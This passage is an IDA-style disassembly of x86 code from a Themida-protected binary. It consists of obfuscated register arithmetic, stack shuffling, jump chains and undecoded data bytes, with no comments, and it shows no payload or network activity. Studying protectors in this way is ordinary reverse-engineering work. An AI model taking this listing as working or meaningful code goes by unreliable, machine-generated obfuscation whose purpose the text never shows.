		dd 4C48124h, 0E9000000h, 68F9h,	8B91E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BEF6:				; CODE XREF: Themida_:0054DE27j
		add	esi, 64324308h
		pop	ecx
		add	esi, 0B59FE362h
		sub	eax, 9C570F6h
		jmp	loc_5531A7
; ---------------------------------------------------------------------------


loc_54BF0D:				; CODE XREF: Themida_:0054D938j
		pop	esi
		pop	esi
		add	esi, 4
		push	edx
		mov	edx, 4
		sub	esi, 0AFC2DF3h
		add	esi, edx
		add	esi, 0AFC2DF3h
		mov	edx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5488B9
; ---------------------------------------------------------------------------
aISsD		db 'ˆÐS鵤',0
		dw 8100h
		dd 9A1AD3C3h, 81F30158h, 9A1AD3EBh, 0C38158h, 0FF08CC41h
		dd 815E2434h, 4C4h, 5ED6800h, 1C890000h, 2474FF24h, 3E21E904h
		dd 85680000h, 89000026h, 2BA2414h, 89000000h, 0BA25E9D7h
		dd 34FFFFFFh, 0B1FAE924h, 8B66FFFFh, 6852240Ch,	4FDAh
		dd 8904EC83h, 4EE92414h, 81FFFFECh, 540A6AC5h, 1C6F0906h
		dd 0FFAB85E9h, 0D2F75AFFh, 79E7E953h, 34FF0000h, 376CE924h
		dd 5E540000h, 4C681h, 31E90000h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BFCF:				; CODE XREF: Themida_:00552130j
		mov	[esp], ebp
		mov	ebp, 2
		add	ebx, 6DD15BB3h
		sub	ebx, 48DA2429h
		add	ebx, ebp
		add	ebx, 48DA2429h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 554A312Fh
		neg	eax
		shr	eax, 6
		shr	eax, 7
		push	esi
		mov	esi, 6DD40E1Dh
		xor	eax, esi
		pop	esi
		jmp	loc_54CAA4
; ---------------------------------------------------------------------------
		db 80h
		dd 0E80088C5h, 21B6859h, 1C890000h, 0D8E95124h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C023:				; CODE XREF: Themida_:005517BEj
		not	eax
		push	edx
		mov	edx, 4912F5Ah
		add	edx, 0B6FD6ABh
		sub	eax, edx
		pop	edx
		jmp	loc_55409C
; ---------------------------------------------------------------------------
		db 2Dh,	0A7h, 8Fh
		dd 0C3317EB7h, 0AD46E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C046:				; CODE XREF: Themida_:0054B073j
		mov	[esp], ebx
		jmp	loc_54FD3C
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 0F6619177h, 0E959CB21h, 0FFFFA664h, 0A87B17BEh, 9F08E92Bh
		dd 0A1E9FFFFh
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C06B:				; CODE XREF: Themida_:0054D4BBj
		jmp	loc_54270C
; ---------------------------------------------------------------------------


loc_54C070:				; CODE XREF: Themida_:0054D807j
		push	1C0309FAh
		jmp	loc_5571E1
; ---------------------------------------------------------------------------
		dw 48Fh
aS_n		db '$é.',0
		align 2
		dw 0ED81h
		dd 19ED8812h, 0E95DE889h, 0FFFFEC97h, 1399C581h, 515F639Eh
		dd 63CEE9h, 37E95100h, 5FFFFEAh, 7A4A40A1h, 9711DA05h
		dd 0E9D8296Eh, 0FFFF790Fh, 0EB81FB01h, 61CE5A61h, 5E50EB81h
		dd 0C3814C31h, 74DC0CFEh, 81243C8Bh, 4ECh, 24048900h, 0B0E9E089h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54C0DB:				; CODE XREF: Themida_:00554828j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_553DDC
; ---------------------------------------------------------------------------
aBDoq_h		db 'ÎDoŸ.hÍ=',0
		dw 8900h
		dd 0F6E92414h, 890000B7h, 24048BC2h, 8104C483h,	12A1BCAh
		dd 0B0F2813Fh, 81077217h, 0D53695C2h, 5AD6211Ah, 0FFCBC1E9h
		dd 0BA5258FFh, 5E2262E5h, 0C102E2C1h, 0BFE906E2h, 80FFFFFBh
		dd 0ED8057F5h, 0E9EB283Fh, 5141h, 0C281E289h, 4, 4C281h
		dd 14870000h, 0C809E924h, 0E9C1FFFFh, 0DEE95706h, 31FFFF7Ah
		dd 0C8295FF9h, 178EE9h,	55E68900h, 0D250EBDh, 81DDF705h
		dd 0D2512C5h, 0FFEE0105h, 0E95D2434h, 0A14Eh, 6824248Bh
		dd 77A2h, 2457E9h, 2454F600h, 0F6805A01h, 8FC9E925h, 0C4800000h
		dd 3AC38020h, 570E9h, 4E6C100h,	1EE81h,	0F6810000h, 80872429h
		dd 5B2FE9h
		db 0
; ---------------------------------------------------------------------------


loc_54C1BD:				; CODE XREF: Themida_:0054CDAFj
		mov	bl, 25h
		jmp	loc_54AC96
; ---------------------------------------------------------------------------


loc_54C1C4:				; CODE XREF: Themida_:0054EF28j
		sub	bl, 66h
		sub	bl, 8Dh
		add	bl, al
		add	bl, 8Dh
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 82h
		sub	ch, 1Ch
		add	bl, ch
		jmp	loc_542E92
; ---------------------------------------------------------------------------


loc_54C1E1:				; CODE XREF: Themida_:00550000j
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp


loc_54C1FB:				; CODE XREF: Themida_:0054C40Dj
		push	eax
		mov	eax, esp
		jmp	loc_54F3AC
; ---------------------------------------------------------------------------
		db 83h
		dd 81E904C4h, 8300007Ch, 1C8704C3h, 8B685C24h, 89000038h
		dd 74FF2404h, 0FDE90424h, 8F00001Dh, 248B2404h,	8E8C124h
		dd 6168C831h, 0E900002Ch, 0FFFFE373h, 0E92434FFh, 0FFFF6E39h
		dd 5704C483h, 0D043C4BFh, 0F5BD5542h, 53146B4Ah, 6663BEBBh
		dd 0C9B9514Eh, 81067F72h, 0F34C8EF1h, 72C38151h, 0E97F5739h
		dd 0FFFFE266h
; ---------------------------------------------------------------------------


loc_54C26C:				; CODE XREF: Themida_:00553C9Cj
		shl	edx, 6
		push	2EA1h
		mov	[esp], esi
		mov	esi, 7CFE49D2h
		xor	esi, 56AF0A1Fh
		shl	esi, 6
		shr	esi, 2
		jmp	loc_547FEB
; ---------------------------------------------------------------------------
		db 5Dh,	2Dh, 0A6h
		dd 0C15B4333h, 0E99506E0h, 0B3DBh
; ---------------------------------------------------------------------------


loc_54C29C:				; CODE XREF: Themida_:0054963Bj
		mov	[esp], edx
		push	eax
		mov	eax, 2C700E1Ch
		mov	edx, 2C700E38h
		xor	edx, eax
		pop	eax
		push	ebp
		mov	ebp, 4B466D5Ch
		jmp	loc_54B900
; ---------------------------------------------------------------------------
		dd 8324048Bh, 0BB5304C4h, 0B1271FB6h, 1C8BD989h, 4C48324h
		dd 0E95EF129h, 0F5h
; ---------------------------------------------------------------------------


loc_54C2D4:				; CODE XREF: Themida_:0055612Dj
		mov	ecx, [esp]
		jmp	loc_553A59
; ---------------------------------------------------------------------------
		dd 4BBh, 245C0100h, 9DE95B04h, 89FFFFA4h, 310FE9CDh, 1C890000h
		dd 6FA7BB24h, 2BE97361h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C2FF:				; CODE XREF: Themida_:00547499j
		push	ebx
		mov	ebx, 66775603h
		push	30C8h
		mov	[esp], ebp
		mov	ebp, ebx
		mov	esi, ebp
		mov	ebp, [esp]
		jmp	loc_546AF6
; ---------------------------------------------------------------------------


loc_54C319:				; CODE XREF: Themida_:00546388j
		mov	ebp, 1A4146B2h
		add	ebp, 4AA916E3h
		add	ebx, ebp
		pop	ebp
		jmp	loc_550551
; ---------------------------------------------------------------------------
		dd 243C875Eh, 0FF54525Ch, 94E92434h, 2900004Eh,	0AF80E9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C342:				; CODE XREF: Themida_:0054B3F1j
		sub	[esp+8], eax
		add	dword ptr [esp+8], 3D6F5A81h
		pop	eax
		pop	eax
		mov	eax, [esp]
		push	4005h
		jmp	loc_5530F3
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0DCh
		dd 813A5E0Eh, 0A011E4EDh, 10CD8154h, 0F710811Dh, 87C581DDh
		dd 0E98CA48Ch, 0FFFF805Fh, 0EC80C4FEh, 8BE52802h, 5BE92404h
		dd 2CFFFF84h, 34FF5954h, 2CE95B24h, 0C000009Bh,	0CCFE03E4h
		dd 45E9D4F6h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C3A3:				; CODE XREF: Themida_:005467CEj
		push	dword ptr [esp]
		jmp	loc_54B722
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 0E9000000h, 6C84h,	8124048Bh, 4C4h, 2EB8300h
		dd 0B2A6E9h, 0D486800h,	0C0E90000h, 500000AFh, 5B10E2B8h
		dd 0E1D8E91Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C3DE:				; CODE XREF: Themida_:005517C5j
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5453B6
; ---------------------------------------------------------------------------


loc_54C3F7:				; CODE XREF: Themida_:005532C4j
		mov	esi, ebx
		pop	ebx
		and	ebx, esi
		pop	esi
		sub	ebx, 2122A50h
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_54C1FB
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_551DDB
; ---------------------------------------------------------------------------


loc_54C439:				; CODE XREF: Themida_:0054420Dj
		mov	esi, 0DA23A47Ch
		xor	ebx, esi
		mov	esi, [esp]
		jmp	loc_54629C
; ---------------------------------------------------------------------------
		dd 0FF62BFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C44D:				; CODE XREF: Themida_:0054ED01j
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_544F29
; ---------------------------------------------------------------------------
		db 5Dh
		dd 8B243C87h, 69E92424h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C463:				; CODE XREF: Themida_:00553D09j
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_54A8EC
; ---------------------------------------------------------------------------
		db 0ACh, 0E9h, 0D5h
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C477:				; CODE XREF: Themida_:0054E1FEj
		add	ebp, ecx
		pop	ecx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5457AD
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 63BD242Ch, 9638C3Eh, 242C8BE9h, 815A5452h
		dd 4C2h, 4C28100h, 87000000h, 575C2414h, 0FF7EFBBFh, 5FF9316Fh
		dd 134FE9h
		db 0
; ---------------------------------------------------------------------------


loc_54C4BD:				; CODE XREF: Themida_:0054F86Dj
		push	eax
		jmp	loc_554F92
; ---------------------------------------------------------------------------


loc_54C4C3:				; CODE XREF: Themida_:00545B18j
		xor	cl, al
		jmp	loc_54B1A5
; ---------------------------------------------------------------------------
		dw 0E6C0h
		dd 0B2E95006h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C4D3:				; CODE XREF: Themida_:005459A2j
		push	dword ptr [esp]
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_54DC69
; ---------------------------------------------------------------------------
		db 68h
		dd 7CC3185Ch, 83240C8Bh, 0E98304C4h, 5E9C101h, 0CC0BBD55h
		dd 0E929FE7Fh, 39FE9h, 0C1E95500h, 8300007Dh, 3C8904ECh
		dd 2474FF24h, 2434FF04h, 33AB685Fh, 0C890000h, 57E18924h
		dd 0B010E3BFh, 7CE78128h, 0E9399309h, 2C50h, 5DEE015Ch
		dd 4BF57h, 0FE010000h, 7D49E9h,	4C38100h, 81000000h, 4C3h
		dd 241C8700h, 9FBD555Ch, 2D5EE857h, 4986007Eh, 7E05E801h
		dd 8B498600h, 0C481242Ch, 4, 4EC81h, 0C890000h,	8715E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C582:				; CODE XREF: Themida_:0054816Aj
		mov	[esp], eax
		push	esp
		jmp	loc_5500C7
; ---------------------------------------------------------------------------
		db 5
		dd 4, 405h, 24048700h, 6624248Bh, 6600B60Fh, 664F2068h
		dd 0E9240489h, 0FFFF6160h, 436168h, 241C8900h, 0EF80C6B7h
		dd 0AEDE9C3h, 515B0000h, 5766E9h, 81D52900h, 5F7EA8C5h
		dd 24148B18h, 4C481h, 0F5810000h, 0BB59697Fh, 3F5DC681h
		dd 94E930A6h, 87000003h, 515C240Ch, 0FFD2F9E9h,	241C8BFFh
		dd 4C483h, 5D5AE9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C5FE:				; CODE XREF: Themida_:00542D78j
		mov	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esi, ebp
		mov	ebp, [esp]
		jmp	loc_547A87
; ---------------------------------------------------------------------------
		db 29h,	0F3h, 5Eh
		dd 84E9EB29h, 8BFFFFE2h, 0C481243Ch, 4,	5C24048Fh, 66E1F766h
		dd 66741A68h, 66241489h, 0D1E99C50h, 50FFFF60h,	24348156h
		dd 733A4970h, 49703558h, 0C289733Ah, 0D7295E58h, 242C8B5Ah
		dd 5104C483h, 4B9h, 59CF0100h, 8BF4E957h, 2C89FFFFh, 726BE924h
		dd 8953FFFFh, 3B6851E3h, 5906D01Ah, 84BA5256h, 0BE2F9250h
		dd 4577A31h, 0FF9FDBE9h, 4C483FFh, 8107E1C1h, 1FED90C1h
		dd 0E9C829EEh, 0FFFFA829h, 1C5F215Ch, 6066E95Bh, 0D68FFFFh
		dd 5F1AD12Fh, 6FB9C781h, 0F7815215h, 19A386AFh,	0BB5FFA89h
		dd 3A4A698Dh, 565AD331h, 0BEh, 56DE2900h, 96E95E5Bh, 68FFFFD5h
		dd 4D52h, 68241C89h, 223E62FFh,	81241C8Bh, 4C4h, 62685200h
		dd 0E970583Fh, 0FFFF8523h, 0FFFFFFBFh, 0C648E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C6FE:				; CODE XREF: Themida_:00548B73j
		mov	esi, esp
		push	edx
		jmp	loc_547777
; ---------------------------------------------------------------------------
		dw 483h
		dd 0D4E90424h, 0B8000076h, 0FD2D05B9h, 4962E9h,	0ABEB8000h
		dd 7DEB80h, 7DC380E3h, 0FFA26FE9h, 2474FFFFh, 4144E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C732:				; CODE XREF: Themida_:005556A4j
		neg	ebp
		jmp	loc_5504DB
; ---------------------------------------------------------------------------
		db 0BAh, 0D7h, 8
		dd 0C2816412h, 72A94A87h, 8103EAC1h, 564E14F2h,	4EAC133h
		dd 7E46C281h, 0EA815206h, 12821BA9h, 815AD789h,	0BC2BE7CFh
		dd 96EBE979h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C76A:				; CODE XREF: Themida_:00554DCFj
		mov	edx, 5F6C03E2h
		mov	ecx, edx
		pop	edx
		or	ecx, 10B81209h
		push	edx
		mov	edx, 68206881h
		add	edx, 711F4A11h
		jmp	loc_548C69
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 52000000h, 4EC81h, 24890000h, 24048124h, 4, 8124148Bh
		dd 4C4h, 20BF5700h, 0E97CC362h,	0B21h
; ---------------------------------------------------------------------------


loc_54C7B4:				; CODE XREF: Themida_:00552A8Bj
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5509AC
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 8
		dd 174D85Fh, 5F08247Ch,	4244401h, 4246C81h, 74D85F08h
		dd 0FF7D26E9h, 3EF381FFh, 816A4025h, 0C70E4AC3h, 1DBA524Fh
		dd 81360473h, 0D52DBBCAh, 7E2C170h, 240CFF52h, 6EAC15Ah
		dd 3727CA81h, 0C28121E2h, 57EE9D6Dh, 17EEC381h,	4E95D35h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C823:				; CODE XREF: Themida_:0054FF18j
		pop	ecx
		add	edx, 27AB2E62h
		sub	edx, 1F660C98h
		not	edx
		jmp	loc_548E9A
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8108EAC1h, 0DCFB5BC2h, 57C5054Dh, 38E91929h,	87000087h
		dd 2C8B240Ch, 0F9EAE924h, 0D6F7FFFFh, 0E3D5EE81h, 0EC831418h
		dd 24348904h, 2242C81h,	0FF3CC66Ch, 0CEE92434h,	81FFFFC3h
		dd 4ECh, 24248900h, 431168h, 24148900h,	468h, 2434FF00h
		dd 8124148Bh, 4C4h, 1E786800h, 0C890000h, 0C6B5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C8A2:				; CODE XREF: Themida_:00544D24j
		push	ebx
		jmp	loc_557B18
; ---------------------------------------------------------------------------
		dd 595F515Dh, 0C7DC781h, 0B8051BB2h, 29244003h,	4EC81F8h
		dd 89000000h, 0E956241Ch, 10D6h, 4C181h, 0C1810000h, 4
		dd 31240C33h, 0C33240Ch, 0C1835C24h, 240C3302h,	0E9240C31h
		dd 10EBh, 351FF42Dh, 2092D14h, 0E5E97B56h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C8FB:				; CODE XREF: Themida_:0055380Cj
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	esi
		push	ecx
		mov	ecx, 1CAE6498h
		mov	esi, 185047D0h
		sub	esi, ecx
		jmp	loc_5500CF
; ---------------------------------------------------------------------------
		db 0C0h, 0E7h, 8
		dd 0C7FEC7FEh, 28B3F780h, 0B8E95BFAh, 0C0000015h, 0EE8002EEh
		dd 0A6E680EBh, 7B71E9h
		db 0
; ---------------------------------------------------------------------------


loc_54C939:				; CODE XREF: Themida_:00553576j
		push	edx
		push	7FBA239Dh
		pop	edx
		jmp	loc_549332
; ---------------------------------------------------------------------------


loc_54C945:				; CODE XREF: Themida_:0054964Bj
		jz	loc_54487C
		push	3E24h
		mov	[esp], ebp
		mov	ebp, 42C16961h
		mov	dword ptr [edi+20h], 0BD3E969Fh
		push	eax
		push	ecx
		push	7750030h
		pop	ecx
		jmp	loc_544CC2
; ---------------------------------------------------------------------------


loc_54C96C:				; CODE XREF: Themida_:0054A81Ej
		sub	eax, 254DE367h
		or	esi, eax
		mov	eax, [esp]
		jmp	loc_552F4B
; ---------------------------------------------------------------------------
		db 1
		dd 5DEE81EEh, 5D30A63Fh, 0FFAE63E9h, 53E800FFh,	0E3C020B3h
		dd 0DAEB8003h, 595BD828h, 0B3535253h, 0B2B551C4h, 0C580C5FEh
		dd 0E9DDF6D6h, 0FFFFF787h
; ---------------------------------------------------------------------------


loc_54C9AC:				; CODE XREF: Themida_:00546366j
		push	dword ptr [esp]
		jmp	loc_54370E
; ---------------------------------------------------------------------------
		dd 4C481h, 0B60F0000h, 8734FFC0h, 4EC81h, 34890000h, 8F685224h
		dd 0E903AB41h, 0FFFFA8E8h, 5C243C87h, 9A68E950h, 0B7530000h
		dd 0C56866E5h, 0E374E93Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C9EA:				; CODE XREF: Themida_:0054815Ej
		mov	eax, 1
		add	ebp, eax
		pop	eax
		push	edx
		jmp	loc_547FD6
; ---------------------------------------------------------------------------


loc_54C9F8:				; CODE XREF: Themida_:005449B8j
		shl	ebx, 3
		sub	ebx, 0A118C7B4h
		jmp	loc_54E5FB
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0CDBA5204h, 2928FA32h, 0CB015AD3h, 32CDBD55h, 0EB0128FAh
		dd 240C8B5Dh, 8304C483h, 0FF5304C3h, 5B042474h,	0FFF7F2E9h
		dd 32FF64FFh, 0FFD034E9h, 241C31FFh, 159DE9h
		db 0
; ---------------------------------------------------------------------------


loc_54CA41:				; CODE XREF: Themida_:0054DD29j
		pop	esp
		not	cx
		sub	cx, 0DE30h
		sub	bx, 13F3h
		sub	bx, cx
		add	bx, 13F3h
		mov	ecx, [esp]
		jmp	loc_55343C
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EEC106EEh, 8E6C106h, 11B0F681h, 0F68156E6h,	2EEE96E7h
		dd 8CE9F229h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CA7B:				; CODE XREF: Themida_:00552EDAj
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5435BE
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 8904EC83h, 4BF243Ch,	53000000h, 525C59BBh, 0F6EB810Fh
		dd 0E9790B70h, 0A0A4h
; ---------------------------------------------------------------------------


loc_54CAA4:				; CODE XREF: Themida_:0054C00Aj
		sub	ebx, eax
		pop	eax
		mov	ebp, [esp]
		jmp	loc_542C66
; ---------------------------------------------------------------------------
		db 1
		dd 0D6685EF0h, 89000010h, 0B3E9243Ch, 5FFFFF4h,	4, 5C240487h
		dd 5E2AF381h, 554B37F8h, 9626E9h
		db 0
; ---------------------------------------------------------------------------


loc_54CAD5:				; CODE XREF: Themida_:00548CDDj
		pop	ebx
		push	edx
		jmp	loc_549D9F
; ---------------------------------------------------------------------------
		dd 0E9242C89h, 0FFFF8A96h, 30BFE981h, 0E981799Fh, 4F14DC9h
		dd 0C181D101h, 4F14DC9h, 30BFC181h, 0BB53799Fh,	0E2949h
		dd 2A5AC381h, 0D9296E7Ah, 2434FF5Bh, 4C4815Ah, 83000000h
		dd 0FF5102C1h, 59042474h, 8B24048Fh, 8B662424h,	89572404h
		dd 4C781E7h, 0E9000000h, 0FFFFE5C1h, 0E328EBB4h, 5724048Bh
		dd 0FF855EE9h, 0EB815AFFh, 319060C8h, 0C381C301h, 319060C8h
		dd 6BC38158h, 0E94C602Dh, 5A2Eh
; ---------------------------------------------------------------------------


loc_54CB60:				; CODE XREF: Themida_:0054BE68j
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	62F6h
		mov	[esp], ebx
		push	edx
		push	0FC3D0Bh
		pop	edx
		neg	edx
		sub	edx, 98A98601h
		push	ecx
		jmp	loc_550E97
; ---------------------------------------------------------------------------


loc_54CB8D:				; CODE XREF: Themida_:0055109Aj
		mov	ah, bh
		pop	ebx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_54F280
; ---------------------------------------------------------------------------
		db 50h
		dd 405E089h, 2D000000h,	4, 5C240487h, 89241C89h, 0C6A1E9E3h
		dd 0BD55FFFFh, 146A3B2Ah, 186FC381h, 0EB2947E7h, 186FEB81h
		dd 295D47E7h, 2AC381C3h, 81146A3Bh, 1F635BEBh, 4EC8348h
		dd 55240C89h, 0FFA8DFE9h, 0E9F329FFh, 4CBDh
; ---------------------------------------------------------------------------


loc_54CBF0:				; CODE XREF: Themida_:00545D5Ej
		push	esp
		pop	eax
		jmp	loc_54993F
; ---------------------------------------------------------------------------
		db 88h
		dd 5AD488FAh, 8851D4F6h, 59EF88E5h, 89565866h, 7E2DE9E6h
		dd 0CA890000h, 85ED8159h, 680D185Fh, 0CEDh, 0B9240C89h
		dd 70CA4584h, 6EE9CD29h, 59FFFF70h, 7B41EF81h, 15E910F6h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54CC37:				; CODE XREF: Themida_:0054F769j
		mov	edx, 28h
		jmp	loc_54BC4A
; ---------------------------------------------------------------------------


loc_54CC41:				; CODE XREF: Themida_:00552A70j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55180F
; ---------------------------------------------------------------------------


loc_54CC56:				; CODE XREF: Themida_:0054B4FFj
		pop	esp
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	5207h
		mov	[esp], eax
		jmp	loc_54270C
; ---------------------------------------------------------------------------
		dw 642Ch
		dd 6404E800h, 0A9E6E959h, 14330000h, 24248B24h,	0FFCF75E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CC81:				; CODE XREF: Themida_:0055636Bj
		pop	ebx
		jmp	loc_55081B
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 0E9000000h, 0FFFFBEA8h, 83242C8Bh,	346804C4h
		dd 89000011h, 4BB241Ch,	52000000h, 5248EEBAh, 8C2810Ch
		dd 2942E8FFh, 0DD015AD5h, 47F6C581h, 0E95B4F3Bh, 0FFFF6B79h
		dd 0E904C483h, 0FFFFE128h, 6C02C181h, 348B3CC6h, 4C48124h
		dd 0E9000000h, 436h
; ---------------------------------------------------------------------------


loc_54CCE0:				; CODE XREF: Themida_:00553ECEj
		and	ecx, ebx
		jmp	loc_545C9B
; ---------------------------------------------------------------------------
		db 81h
		dd 0C203D6EEh, 4BC68114h, 130D737h, 4BEE81C6h, 8130D737h
		dd 0C203D6C6h, 4EC8114h, 89000000h, 0A4B9240Ch,	810B372Eh
		dd 0CE605DC6h, 81CE012Ah, 0CE605DEEh, 240C8B2Ah, 6804C483h
		dd 0ADCh, 89243489h, 33E955E6h,	31000056h, 24048BC7h, 4C481h
		dd 0F9010000h
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	1FA2h
		mov	[esp], ecx
		mov	ecx, 3703011Eh
		shr	ecx, 8
		xor	ecx, 370305h
		jmp	loc_54311F
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0EAh
		dd 0F721333Bh, 0C5E681D6h, 0F71D3137h, 0A121E9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54CD76:				; CODE XREF: Themida_:00556DC2j
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_554583
; ---------------------------------------------------------------------------
a3hXsk3		db '¹3H±xéŠ3',0
		align 2
		dw 48Fh
		dd 8AD6E924h, 0F201FFFFh, 9552E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CD9E:				; CODE XREF: Themida_:00555A6Dj
		push	470Ch
		mov	[esp], ecx
		push	eax
		mov	ah, 19h
		push	small 0
		push	bx
		jmp	loc_54C1BD
; ---------------------------------------------------------------------------
		dd 0C7815F54h, 4, 4C781h, 0FF570000h, 8B042474h, 0C481243Ch
		dd 4, 60BAE9h, 2434FF00h, 582434FFh, 0D8CE9h
		db 0
; ---------------------------------------------------------------------------


loc_54CDE1:				; CODE XREF: Themida_:005551CAj
		xor	eax, 75392BA9h
		jmp	loc_555113
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0F704EFC1h, 0B2C781D7h, 2D04DB21h, 5C6C1607h, 2717432Dh
		dd 5F80101h, 1271743h, 0FF8A4EE9h, 5FFD29FFh, 79E9FD01h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CE17:				; CODE XREF: Themida_:00556FAAj
		neg	ebx
		jmp	loc_5478D2
; ---------------------------------------------------------------------------
		dw 4EBAh
		dd 9629C61h, 24148BD0h,	0FFBBBAE9h, 60BB53FFh, 1077A74h
		dd 0FE295BDEh, 343CE9h,	0ABF58100h, 0E908417Ch,	0FFFFD8C4h
		dd 148BF028h, 4C48124h,	4000000h, 2CD80030h, 0E9B80430h
		dd 7E29h, 0E95AD631h, 0FFFF773Ah, 0F4805966h, 58E3883Dh
		dd 28DDE9h, 58E70000h, 34FFF828h, 0E9535B24h, 33ABh, 0DA6685Dh
		dd 43E90000h, 0BDFFFFDEh, 5A5A09E8h, 5871C681h,	0EE295B8Fh
		dd 5871EE81h, 815D5B8Fh, 0A16827EEh, 81D60108h,	0A16827C6h
		dd 6A7CE908h, 0C15F0000h, 0EE8102E6h, 6E94C2E8h, 89F08950h
		dd 295E58C3h, 241C8BD8h, 4C481h, 3C8B0000h, 4C48124h, 5000000h
		dd 575652F1h, 0F12DD829h, 5575652h, 21185934h, 948BE56h
		dd 0EEC130EFh, 40E66802h, 14890000h, 0E9E28924h, 20A6h
		dd 0BE7837BFh, 95C781E4h, 81098636h, 7029ADEFh,	81EF0157h
		dd 7029ADC7h, 95EF8157h, 5D098636h, 5584E951h, 0C1810000h
		dd 68A95B3Ah, 0E981D901h, 68A95B3Ah, 3AF1815Bh,	0E954B006h
		dd 0FFFFB7E4h, 88C28852h, 3AD9E9D1h, 82B80000h,	2D0E063Bh
		dd 0E063B7Eh, 8158C601h, 4C6h, 24348700h, 0FFF1315Ch, 835E2434h
		dd 0D9F704C4h, 7698C181h, 48E9FAC8h, 1FFFFC7h, 241C8BD8h
		dd 3304C483h, 4312404h,	0CF99E924h, 0D3B9FFFFh,	0E94A1475h
		dd 355Bh
; ---------------------------------------------------------------------------


loc_54CF98:				; CODE XREF: Themida_:00551A1Dj
		sub	ecx, ebp
		pop	ebp
		push	ecx
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		pop	ecx
		shl	ecx, 8
		sub	esp, 4
		mov	[esp], esi
		push	6E1Ah
		mov	[esp], ecx
		push	7EB55726h
		pop	ecx
		or	ecx, 58285BB9h
		neg	ecx
		jmp	loc_552D8C
; ---------------------------------------------------------------------------


